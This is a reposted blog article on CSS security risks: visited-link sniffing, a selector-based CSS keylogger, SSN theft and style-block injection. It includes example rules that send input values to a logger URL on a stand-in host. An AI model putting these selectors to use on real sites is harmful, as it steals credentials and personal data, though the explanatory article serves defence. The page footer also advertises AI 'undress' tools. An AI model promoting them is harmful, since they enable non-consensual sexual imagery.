Don't panic! CSS itself is not a major security risk, and in most cases there is no need to worry too much.
However, some articles will discuss potentially surprising and even worrying features of CSS. Let's summarize:
Link issues that have been visited
The problem is described as follows:
- There is a link on the website to a specific page, such as Tickle Pigs .
- You use the
:visited
style to set the color of the visited link, such asa:visited { color: pink; }
, which is not the default user agent style. - You test the calculation style of the link.
- If the color is pink, it means that the user has visited the page.
- You report this information to a server and perform certain actions accordingly (such as increasing the insurance premium rate).
You might even do this with CSS completely, because the :visited
style may contain background-image: url(/data-logger/tickle.php);
, which will only be requested by users who have visited the page.
Don't worry! Browsers have blocked this attack.
Keylogger
The problem is described as follows:
- There is an input box on the page, probably a password input box.
- You take a record script as the background image of the input box and add a large number of selectors to collect password information.
input[value^="a"] { background: url(logger.php?v=a); }
This is not easy to achieve. value
attribute of the input box will not change immediately due to user input. But in frameworks like React, this happens sometimes. So, in theory, this CSS keylogger might work if you add this CSS to a login page built with React.
However, in this case, the JavaScript code has been executed on the page. For such attacks, JavaScript is much more dangerous than CSS. The JavaScript keylogger monitors key events and reports them through Ajax with just a few lines of code.
Content Security Policy (CSP) can block inline JavaScript injected by third parties and XSS...and of course, it can also block CSS.
Data Theft
The problem is described as follows:
- If I can add malicious CSS to the page of the website you are logged in...
- And the website displays sensitive information, such as a Social Security Number (SSN), pre-filled in the form...
- I can get it with the property selector.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
With a large number of selectors, you can cover all possibilities!
Inline style block problem
I'm not sure if this should be blamed on CSS, but imagine:
... Insert some user generated content...
Maybe you allow the user to customize some CSS. This is an attack vector because they can close style tags, open script tags, and write malicious JavaScript code.
There are definitely more
Have you thought of it? Share it.
I'm skeptical of the level of fear of CSS security vulnerabilities. I don't want to over-the-top the security issues (especially third-party issues) because I'm not an expert and safety is crucial. But at the same time, I've never heard of CSS becoming any attack vector other than thought experiments. Please teach me!
The above is the detailed content of CSS Security Vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undress AI Tool
Undress images for free

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics











Autoprefixer is a tool that automatically adds vendor prefixes to CSS attributes based on the target browser scope. 1. It solves the problem of manually maintaining prefixes with errors; 2. Work through the PostCSS plug-in form, parse CSS, analyze attributes that need to be prefixed, and generate code according to configuration; 3. The usage steps include installing plug-ins, setting browserslist, and enabling them in the build process; 4. Notes include not manually adding prefixes, keeping configuration updates, prefixes not all attributes, and it is recommended to use them with the preprocessor.

TocreatestickyheadersandfooterswithCSS,useposition:stickyforheaderswithtopvalueandz-index,ensuringparentcontainersdon’trestrictit.1.Forstickyheaders:setposition:sticky,top:0,z-index,andbackgroundcolor.2.Forstickyfooters,betteruseposition:fixedwithbot

Theconic-gradient()functioninCSScreatescirculargradientsthatrotatecolorstopsaroundacentralpoint.1.Itisidealforpiecharts,progressindicators,colorwheels,anddecorativebackgrounds.2.Itworksbydefiningcolorstopsatspecificangles,optionallystartingfromadefin

There are three ways to create a CSS loading rotator: 1. Use the basic rotator of borders to achieve simple animation through HTML and CSS; 2. Use a custom rotator of multiple points to achieve the jump effect through different delay times; 3. Add a rotator in the button and switch classes through JavaScript to display the loading status. Each approach emphasizes the importance of design details such as color, size, accessibility and performance optimization to enhance the user experience.

Mobile-firstCSSdesignrequiressettingtheviewportmetatag,usingrelativeunits,stylingfromsmallscreensup,optimizingtypographyandtouchtargets.First,addtocontrolscaling.Second,use%,em,orreminsteadofpixelsforflexiblelayouts.Third,writebasestylesformobile,the

To create an intrinsic responsive grid layout, the core method is to use CSSGrid's repeat(auto-fit,minmax()) mode; 1. Set grid-template-columns:repeat(auto-fit,minmax(200px,1fr)) to let the browser automatically adjust the number of columns and limit the minimum and maximum widths of each column; 2. Use gap to control grid spacing; 3. The container should be set to relative units such as width:100%, and use box-sizing:border-box to avoid width calculation errors and center them with margin:auto; 4. Optionally set the row height and content alignment to improve visual consistency, such as row

To make the entire grid layout centered in the viewport, it can be achieved by the following methods: 1. Use margin:0auto to achieve horizontal centering, and the container needs to be set to set the fixed width, which is suitable for fixed layout; 2. Use Flexbox to set the justify-content and align-items properties in the outer container, and combine min-height:100vh to achieve vertical and horizontal centering, which is suitable for full-screen display scenarios; 3. Use CSSGrid's place-items property to quickly center on the parent container, which is simple and has good support from modern browsers, and at the same time, it is necessary to ensure that the parent container has sufficient height. Each method has applicable scenarios and restrictions, just choose the appropriate solution according to actual needs.

FeaturedetectioninCSSusing@supportschecksifabrowsersupportsaspecificfeaturebeforeapplyingrelatedstyles.1.ItusesconditionalCSSblocksbasedonproperty-valuepairs,suchas@supports(display:grid).2.Thismethodensuresfuturecompatibilityandavoidsrelianceonunrel
